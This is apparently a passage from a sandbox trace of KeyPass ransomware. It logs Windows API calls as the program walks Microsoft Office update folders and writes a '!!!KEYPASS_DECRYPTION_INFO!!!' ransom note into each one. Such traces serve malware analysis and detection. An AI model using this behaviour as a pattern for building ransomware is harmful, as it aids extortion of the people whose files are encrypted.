office\\updates\\download\\packagefiles\\f227e87a-b6b1-42dd-93d7-cc66c1f69c7e\\root\\vfs\\programfilescommonx64\\system\\msmapi\\1033\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4d108, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1824 [0276.123] GetFileType (hFile=0x1824) returned 0x1 [0276.123] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d138, cchData=2 | out: lpLCData="0") returned 2 [0276.123] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d124, cchData=2 | out: lpLCData="0") returned 2 [0276.123] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d114, cchData=2 | out: lpLCData="0") returned 2 [0276.123] WriteFile (in: hFile=0x1824, lpBuffer=0x2e4bda0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4b6cc, lpOverlapped=0x0 | out: lpBuffer=0x2e4bda0*, lpNumberOfBytesWritten=0x2e4b6cc*=0x3a4, lpOverlapped=0x0) returned 1 [0276.124] WriteFile (in: hFile=0x1824, lpBuffer=0x2e4bda0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4b6cc, lpOverlapped=0x0 | out: lpBuffer=0x2e4bda0*, lpNumberOfBytesWritten=0x2e4b6cc*=0x2a, lpOverlapped=0x0) returned 1 [0276.124] CloseHandle (hObject=0x1824) returned 1 [0276.124] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\System\\MSMAPI\\1033\\*", lpFindFileData=0x2e4d3a4 | out: lpFindFileData=0x2e4d3a4) returned 0x3997c70 [0276.124] FindNextFileW (in: hFindFile=0x3997c70, lpFindFileData=0x2e4d3a4 | out: lpFindFileData=0x2e4d3a4) returned 1 [0276.124] FindNextFileW (in: hFindFile=0x3997c70, lpFindFileData=0x2e4d3a4 | out: lpFindFileData=0x2e4d3a4) returned 1 [0276.124] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\System\\MSMAPI\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.124] FindNextFileW (in: hFindFile=0x3997c70, lpFindFileData=0x2e4d3a4 | out: lpFindFileData=0x2e4d3a4) returned 0 [0276.124] FindNextFileW (in: hFindFile=0x3997170, lpFindFileData=0x2e4d6f4 | out: lpFindFileData=0x2e4d6f4) returned 0 [0276.124] FindNextFileW (in: hFindFile=0x39977f0, lpFindFileData=0x2e4da44 | out: lpFindFileData=0x2e4da44) returned 1 [0276.124] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0276.125] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018260 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.125] GetLastError () returned 0x3f0 [0276.125] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\System\\ole db\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\System\\ole db\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.125] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\System\\ole db\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\System\\ole db\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\updates\\download\\packagefiles\\f227e87a-b6b1-42dd-93d7-cc66c1f69c7e\\root\\vfs\\programfilescommonx64\\system\\ole db\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4d458, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1828 [0276.125] GetFileType (hFile=0x1828) returned 0x1 [0276.125] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d488, cchData=2 | out: lpLCData="0") returned 2 [0276.125] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d474, cchData=2 | out: lpLCData="0") returned 2 [0276.126] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d464, cchData=2 | out: lpLCData="0") returned 2 [0276.126] WriteFile (in: hFile=0x1828, lpBuffer=0x2e4c0f0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4ba1c, lpOverlapped=0x0 | out: lpBuffer=0x2e4c0f0*, lpNumberOfBytesWritten=0x2e4ba1c*=0x3a4, lpOverlapped=0x0) returned 1 [0276.126] WriteFile (in: hFile=0x1828, lpBuffer=0x2e4c0f0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4ba1c, lpOverlapped=0x0 | out: lpBuffer=0x2e4c0f0*, lpNumberOfBytesWritten=0x2e4ba1c*=0x2a, lpOverlapped=0x0) returned 1 [0276.127] CloseHandle (hObject=0x1828) returned 1 [0276.127] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\System\\ole db\\*", lpFindFileData=0x2e4d6f4 | out: lpFindFileData=0x2e4d6f4) returned 0x3997830 [0276.127] FindNextFileW (in: hFindFile=0x3997830, lpFindFileData=0x2e4d6f4 | out: lpFindFileData=0x2e4d6f4) returned 1 [0276.127] FindNextFileW (in: hFindFile=0x3997830, lpFindFileData=0x2e4d6f4 | out: lpFindFileData=0x2e4d6f4) returned 1 [0276.127] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\System\\ole db\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.127] FindNextFileW (in: hFindFile=0x3997830, lpFindFileData=0x2e4d6f4 | out: lpFindFileData=0x2e4d6f4) returned 0 [0276.127] FindNextFileW (in: hFindFile=0x39977f0, lpFindFileData=0x2e4da44 | out: lpFindFileData=0x2e4da44) returned 0 [0276.127] FindNextFileW (in: hFindFile=0x50ea948, lpFindFileData=0x2e4dd94 | out: lpFindFileData=0x2e4dd94) returned 0 [0276.127] FindNextFileW (in: hFindFile=0x50ea488, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0276.127] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0276.127] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5016040 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.127] GetLastError () returned 0x3f0 [0276.127] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.127] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\updates\\download\\packagefiles\\f227e87a-b6b1-42dd-93d7-cc66c1f69c7e\\root\\vfs\\programfilescommonx86\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4daf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180c [0276.168] GetFileType (hFile=0x180c) returned 0x1 [0276.168] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db28, cchData=2 | out: lpLCData="0") returned 2 [0276.168] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db14, cchData=2 | out: lpLCData="0") returned 2 [0276.168] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db04, cchData=2 | out: lpLCData="0") returned 2 [0276.168] WriteFile (in: hFile=0x180c, lpBuffer=0x2e4c790*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c0bc, lpOverlapped=0x0 | out: lpBuffer=0x2e4c790*, lpNumberOfBytesWritten=0x2e4c0bc*=0x3a4, lpOverlapped=0x0) returned 1 [0276.169] WriteFile (in: hFile=0x180c, lpBuffer=0x2e4c790*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c0bc, lpOverlapped=0x0 | out: lpBuffer=0x2e4c790*, lpNumberOfBytesWritten=0x2e4c0bc*=0x2a, lpOverlapped=0x0) returned 1 [0276.169] CloseHandle (hObject=0x180c) returned 1 [0276.169] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\*", lpFindFileData=0x2e4dd94 | out: lpFindFileData=0x2e4dd94) returned 0x3997db0 [0276.169] FindNextFileW (in: hFindFile=0x3997db0, lpFindFileData=0x2e4dd94 | out: lpFindFileData=0x2e4dd94) returned 1 [0276.169] FindNextFileW (in: hFindFile=0x3997db0, lpFindFileData=0x2e4dd94 | out: lpFindFileData=0x2e4dd94) returned 1 [0276.170] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.170] FindNextFileW (in: hFindFile=0x3997db0, lpFindFileData=0x2e4dd94 | out: lpFindFileData=0x2e4dd94) returned 1 [0276.170] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0276.170] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018260 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.170] GetLastError () returned 0x3f0 [0276.170] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.170] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\updates\\download\\packagefiles\\f227e87a-b6b1-42dd-93d7-cc66c1f69c7e\\root\\vfs\\programfilescommonx86\\microsoft shared\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4d7a8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1830 [0276.182] GetFileType (hFile=0x1830) returned 0x1 [0276.183] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d7d8, cchData=2 | out: lpLCData="0") returned 2 [0276.183] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d7c4, cchData=2 | out: lpLCData="0") returned 2 [0276.183] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d7b4, cchData=2 | out: lpLCData="0") returned 2 [0276.183] WriteFile (in: hFile=0x1830, lpBuffer=0x2e4c440*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4bd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e4c440*, lpNumberOfBytesWritten=0x2e4bd6c*=0x3a4, lpOverlapped=0x0) returned 1 [0276.184] WriteFile (in: hFile=0x1830, lpBuffer=0x2e4c440*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4bd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e4c440*, lpNumberOfBytesWritten=0x2e4bd6c*=0x2a, lpOverlapped=0x0) returned 1 [0276.184] CloseHandle (hObject=0x1830) returned 1 [0276.184] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\*", lpFindFileData=0x2e4da44 | out: lpFindFileData=0x2e4da44) returned 0x3997ef0 [0276.184] FindNextFileW (in: hFindFile=0x3997ef0, lpFindFileData=0x2e4da44 | out: lpFindFileData=0x2e4da44) returned 1 [0276.184] FindNextFileW (in: hFindFile=0x3997ef0, lpFindFileData=0x2e4da44 | out: lpFindFileData=0x2e4da44) returned 1 [0276.184] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.184] FindNextFileW (in: hFindFile=0x3997ef0, lpFindFileData=0x2e4da44 | out: lpFindFileData=0x2e4da44) returned 1 [0276.184] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0276.185] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.185] GetLastError () returned 0x3f0 [0276.185] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\EQUATION\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\EQUATION\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.185] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\EQUATION\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\EQUATION\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\updates\\download\\packagefiles\\f227e87a-b6b1-42dd-93d7-cc66c1f69c7e\\root\\vfs\\programfilescommonx86\\microsoft shared\\equation\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4d458, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1834 [0276.186] GetFileType (hFile=0x1834) returned 0x1 [0276.186] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d488, cchData=2 | out: lpLCData="0") returned 2 [0276.186] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d474, cchData=2 | out: lpLCData="0") returned 2 [0276.186] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d464, cchData=2 | out: lpLCData="0") returned 2 [0276.186] WriteFile (in: hFile=0x1834, lpBuffer=0x2e4c0f0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4ba1c, lpOverlapped=0x0 | out: lpBuffer=0x2e4c0f0*, lpNumberOfBytesWritten=0x2e4ba1c*=0x3a4, lpOverlapped=0x0) returned 1 [0276.187] WriteFile (in: hFile=0x1834, lpBuffer=0x2e4c0f0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4ba1c, lpOverlapped=0x0 | out: lpBuffer=0x2e4c0f0*, lpNumberOfBytesWritten=0x2e4ba1c*=0x2a, lpOverlapped=0x0) returned 1 [0276.187] CloseHandle (hObject=0x1834) returned 1 [0276.187] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\EQUATION\\*", lpFindFileData=0x2e4d6f4 | out: lpFindFileData=0x2e4d6f4) returned 0x3997eb0 [0276.187] FindNextFileW (in: hFindFile=0x3997eb0, lpFindFileData=0x2e4d6f4 | out: lpFindFileData=0x2e4d6f4) returned 1 [0276.187] FindNextFileW (in: hFindFile=0x3997eb0, lpFindFileData=0x2e4d6f4 | out: lpFindFileData=0x2e4d6f4) returned 1 [0276.188] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\EQUATION\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.188] FindNextFileW (in: hFindFile=0x3997eb0, lpFindFileData=0x2e4d6f4 | out: lpFindFileData=0x2e4d6f4) returned 0 [0276.188] FindNextFileW (in: hFindFile=0x3997ef0, lpFindFileData=0x2e4da44 | out: lpFindFileData=0x2e4da44) returned 1 [0276.188] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0276.188] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019bf8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.188] GetLastError () returned 0x3f0 [0276.188] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.188] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\updates\\download\\packagefiles\\f227e87a-b6b1-42dd-93d7-cc66c1f69c7e\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4d458, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x182c [0276.200] GetFileType (hFile=0x182c) returned 0x1 [0276.200] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d488, cchData=2 | out: lpLCData="0") returned 2 [0276.200] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d474, cchData=2 | out: lpLCData="0") returned 2 [0276.200] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d464, cchData=2 | out: lpLCData="0") returned 2 [0276.200] WriteFile (in: hFile=0x182c, lpBuffer=0x2e4c0f0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4ba1c, lpOverlapped=0x0 | out: lpBuffer=0x2e4c0f0*, lpNumberOfBytesWritten=0x2e4ba1c*=0x3a4, lpOverlapped=0x0) returned 1 [0276.201] WriteFile (in: hFile=0x182c, lpBuffer=0x2e4c0f0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4ba1c, lpOverlapped=0x0 | out: lpBuffer=0x2e4c0f0*, lpNumberOfBytesWritten=0x2e4ba1c*=0x2a, lpOverlapped=0x0) returned 1 [0276.201] CloseHandle (hObject=0x182c) returned 1 [0276.201] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\*", lpFindFileData=0x2e4d6f4 | out: lpFindFileData=0x2e4d6f4) returned 0x3997a70 [0276.201] FindNextFileW (in: hFindFile=0x3997a70, lpFindFileData=0x2e4d6f4 | out: lpFindFileData=0x2e4d6f4) returned 1 [0276.201] FindNextFileW (in: hFindFile=0x3997a70, lpFindFileData=0x2e4d6f4 | out: lpFindFileData=0x2e4d6f4) returned 1 [0276.201] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.201] FindNextFileW (in: hFindFile=0x3997a70, lpFindFileData=0x2e4d6f4 | out: lpFindFileData=0x2e4d6f4) returned 1 [0276.202] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0276.202] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5016040 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.202] GetLastError () returned 0x3f0 [0276.202] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\1033\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.202] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\updates\\download\\packagefiles\\f227e87a-b6b1-42dd-93d7-cc66c1f69c7e\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\1033\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4d108, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1838 [0276.202] GetFileType (hFile=0x1838) returned 0x1 [0276.202] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d138, cchData=2 | out: lpLCData="0") returned 2 [0276.203] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d124, cchData=2 | out: lpLCData="0") returned 2 [0276.203] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d114, cchData=2 | out: lpLCData="0") returned 2 [0276.203] WriteFile (in: hFile=0x1838, lpBuffer=0x2e4bda0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4b6cc, lpOverlapped=0x0 | out: lpBuffer=0x2e4bda0*, lpNumberOfBytesWritten=0x2e4b6cc*=0x3a4, lpOverlapped=0x0) returned 1 [0276.204] WriteFile (in: hFile=0x1838, lpBuffer=0x2e4bda0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4b6cc, lpOverlapped=0x0 | out: lpBuffer=0x2e4bda0*, lpNumberOfBytesWritten=0x2e4b6cc*=0x2a, lpOverlapped=0x0) returned 1 [0276.204] CloseHandle (hObject=0x1838) returned 1 [0276.204] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\1033\\*", lpFindFileData=0x2e4d3a4 | out: lpFindFileData=0x2e4d3a4) returned 0x3997f70 [0276.204] FindNextFileW (in: hFindFile=0x3997f70, lpFindFileData=0x2e4d3a4 | out: lpFindFileData=0x2e4d3a4) returned 1 [0276.204] FindNextFileW (in: hFindFile=0x3997f70, lpFindFileData=0x2e4d3a4 | out: lpFindFileData=0x2e4d3a4) returned 1 [0276.204] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.204] FindNextFileW (in: hFindFile=0x3997f70, lpFindFileData=0x2e4d3a4 | out: lpFindFileData=0x2e4d3a4) returned 0 [0276.204] FindNextFileW (in: hFindFile=0x3997a70, 